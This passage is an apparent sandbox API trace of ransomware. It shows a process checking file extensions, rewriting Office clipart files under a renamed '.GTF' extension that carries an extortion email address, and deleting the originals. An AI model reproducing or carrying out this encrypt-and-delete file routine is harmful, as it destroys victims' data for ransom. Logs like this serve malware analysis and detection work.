	[0089.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString=".docx") returned 5
	[0089.128] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.128] lstrlenW (lpString=".pdf") returned 4
	[0089.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString=".xls") returned 4
	[0089.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.128] lstrlenW (lpString=".xlsx") returned 5
	[0089.128] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.128] lstrlenW (lpString=".ppt") returned 4
	[0089.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString=".zip") returned 4
	[0089.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.128] lstrlenW (lpString=".rar") returned 4
	[0089.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString=".bz2") returned 4
	[0089.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString=".7z") returned 3
	[0089.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString=".dbf") returned 4
	[0089.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString=".1cd") returned 4
	[0089.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68
	[0089.128] lstrlenW (lpString=".jpg") returned 4
	[0089.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.129] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.129] lstrlenW (lpString="HH01242_.WMF") returned 12
	[0089.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.129] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7340) returned 1
	[0089.130] CloseHandle (hObject=0x31c) returned 1
	[0089.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220
	[0089.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.130] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.130] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.131] GetLastError () returned 0x0
	[0089.131] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1cac, lpOverlapped=0x0) returned 1
	[0089.132] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1cb0, lpOverlapped=0x0) returned 1
	[0089.134] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.134] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.134] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.134] CloseHandle (hObject=0x2d0) returned 1
	[0089.134] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.134] SetEndOfFile (hFile=0x31c) returned 1
	[0089.135] CloseHandle (hObject=0x31c) returned 1
	[0089.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1
	[0089.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.135] lstrlenW (lpString=".doc") returned 4
	[0089.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.135] lstrlenW (lpString=".docx") returned 5
	[0089.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.136] lstrlenW (lpString=".pdf") returned 4
	[0089.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString=".xls") returned 4
	[0089.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.136] lstrlenW (lpString=".xlsx") returned 5
	[0089.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.136] lstrlenW (lpString=".ppt") returned 4
	[0089.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString=".zip") returned 4
	[0089.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.136] lstrlenW (lpString=".rar") returned 4
	[0089.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString=".bz2") returned 4
	[0089.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString=".7z") returned 3
	[0089.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString=".dbf") returned 4
	[0089.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString=".1cd") returned 4
	[0089.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString=".jpg") returned 4
	[0089.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.136] lstrlenW (lpString=".doc") returned 4
	[0089.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString=".docx") returned 5
	[0089.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.137] lstrlenW (lpString=".pdf") returned 4
	[0089.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString=".xls") returned 4
	[0089.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.137] lstrlenW (lpString=".xlsx") returned 5
	[0089.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.137] lstrlenW (lpString=".ppt") returned 4
	[0089.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.137] lstrlenW (lpString=".zip") returned 4
	[0089.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.137] lstrlenW (lpString=".rar") returned 4
	[0089.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString=".bz2") returned 4
	[0089.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString=".7z") returned 3
	[0089.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.137] lstrlenW (lpString=".dbf") returned 4
	[0089.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.137] lstrlenW (lpString=".1cd") returned 4
	[0089.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68
	[0089.137] lstrlenW (lpString=".jpg") returned 4
	[0089.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.137] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.138] lstrlenW (lpString="HH01291_.WMF") returned 12
	[0089.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.138] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=15806) returned 1
	[0089.138] CloseHandle (hObject=0x31c) returned 1
	[0089.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220
	[0089.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.138] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.138] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.139] GetLastError () returned 0x0
	[0089.139] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x3dbe, lpOverlapped=0x0) returned 1
	[0089.141] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x3dc0, lpOverlapped=0x0) returned 1
	[0089.142] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.142] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.142] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.142] CloseHandle (hObject=0x2d0) returned 1
	[0089.142] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.142] SetEndOfFile (hFile=0x31c) returned 1
	[0089.143] CloseHandle (hObject=0x31c) returned 1
	[0089.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.144] lstrlenW (lpString=".doc") returned 4
	[0089.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString=".docx") returned 5
	[0089.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.144] lstrlenW (lpString=".pdf") returned 4
	[0089.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString=".xls") returned 4
	[0089.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.144] lstrlenW (lpString=".xlsx") returned 5
	[0089.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.144] lstrlenW (lpString=".ppt") returned 4
	[0089.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.144] lstrlenW (lpString=".zip") returned 4
	[0089.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.144] lstrlenW (lpString=".rar") returned 4
	[0089.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString=".bz2") returned 4
	[0089.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString=".7z") returned 3
	[0089.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.144] lstrlenW (lpString=".dbf") returned 4
	[0089.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.144] lstrlenW (lpString=".1cd") returned 4
	[0089.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".jpg") returned 4
	[0089.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".doc") returned 4
	[0089.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString=".docx") returned 5
	[0089.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.145] lstrlenW (lpString=".pdf") returned 4
	[0089.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString=".xls") returned 4
	[0089.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.145] lstrlenW (lpString=".xlsx") returned 5
	[0089.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.145] lstrlenW (lpString=".ppt") returned 4
	[0089.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".zip") returned 4
	[0089.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.145] lstrlenW (lpString=".rar") returned 4
	[0089.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString=".bz2") returned 4
	[0089.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString=".7z") returned 3
	[0089.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".dbf") returned 4
	[0089.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".1cd") returned 4
	[0089.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68
	[0089.145] lstrlenW (lpString=".jpg") returned 4
	[0089.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.146] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.146] lstrlenW (lpString="HH01329_.WMF") returned 12
	[0089.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.146] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6016) returned 1
	[0089.146] CloseHandle (hObject=0x31c) returned 1
	[0089.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220
	[0089.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.147] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.147] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.147] GetLastError () returned 0x0
	[0089.147] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1780, lpOverlapped=0x0) returned 1
	[0089.149] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0089.150] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.150] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.150] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.150] CloseHandle (hObject=0x2d0) returned 1
	[0089.150] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.150] SetEndOfFile (hFile=0x31c) returned 1
	[0089.151] CloseHandle (hObject=0x31c) returned 1
	[0089.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1
	[0089.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.152] lstrlenW (lpString=".doc") returned 4
	[0089.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.152] lstrlenW (lpString=".docx") returned 5
	[0089.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.152] lstrlenW (lpString=".pdf") returned 4
	[0089.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.152] lstrlenW (lpString=".xls") returned 4
	[0089.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.152] lstrlenW (lpString=".xlsx") returned 5
	[0089.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.152] lstrlenW (lpString=".ppt") returned 4
	[0089.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.152] lstrlenW (lpString=".zip") returned 4
	[0089.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.152] lstrlenW (lpString=".rar") returned 4
	[0089.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.152] lstrlenW (lpString=".bz2") returned 4
	[0089.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.152] lstrlenW (lpString=".7z") returned 3
	[0089.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".dbf") returned 4
	[0089.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".1cd") returned 4
	[0089.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".jpg") returned 4
	[0089.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
